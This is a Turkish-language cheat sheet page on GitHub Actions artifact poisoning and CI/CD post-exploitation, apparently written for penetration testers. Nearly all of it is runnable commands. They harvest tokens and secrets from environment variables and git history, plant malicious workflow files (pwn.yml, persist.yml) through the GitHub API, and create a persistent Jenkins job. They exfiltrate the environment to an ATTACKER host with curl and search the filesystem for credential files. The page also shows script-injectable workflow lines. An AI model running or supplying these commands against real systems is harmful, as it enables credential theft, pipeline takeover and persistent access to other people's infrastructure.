Skip to content

Gh Actions - Artifact Poisoning

CI/CD post-ex

Gh Actions - Artifact Poisoning — CI/CD ve DevOps ortamında veri/exfil, yan etki ve pivot notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Hedef veriyi / trafiği / compute’u seç.

  2. Exfil veya yan etki primitifini çalıştır.

  3. İkinci hesap / iç ağ pivotunu dene.

  4. Kanıt paketini (çıktı, hash, zaman) kaydet.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gh auth status 2>/dev/null
Terminal window
env | rg -i 'token|secret|key|password' | head
Terminal window
aws sts get-caller-identity 2>/dev/null
Terminal window
az account show 2>/dev/null
Terminal window
gcloud auth list 2>/dev/null

Gh Actions - Artifact Poisoning için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
gh api repos/ORG/REPO/actions/runs
Terminal window
gh api repos/ORG/REPO/actions/workflows
Terminal window
gh secret list -R ORG/REPO
Terminal window
gh workflow list -R ORG/REPO
Terminal window
gh workflow run WF.yml -R ORG/REPO
Terminal window
gh api repos/ORG/REPO/actions/caches
Terminal window
gh api repos/ORG/REPO/actions/artifacts
run: echo "${{ github.event.issue.title }}"
run: curl ${{ github.event.pull_request.title }}
Terminal window
git log --all --full-history -- '**/.env' '**/credentials*'
Terminal window
gh api repos/ORG/REPO/commits --jq '.[].sha' | head
Terminal window
git show DELETED_SHA:.env
Terminal window
gh api -X PUT repos/ORG/REPO/contents/.github/workflows/pwn.yml -f message=pwn -f content=$(base64 -w0 pwn.yml)
Terminal window
gh auth status

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
gh api -X PUT repos/ORG/REPO/contents/.github/workflows/persist.yml -f message=x -f content=$(base64 -w0 w.yml)
Terminal window
curl -sk -u user:token -X POST https://JENKINS/createItem?name=persist --data-binary @config.xml -H 'Content-Type: application/xml'
Terminal window
printenv | curl -sX POST --data-binary @- https://ATTACKER/exfil

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt
Terminal window
gh api user
Terminal window
gh api orgs/ORG/repos --paginate
Terminal window
gh api repos/ORG/REPO/actions/secrets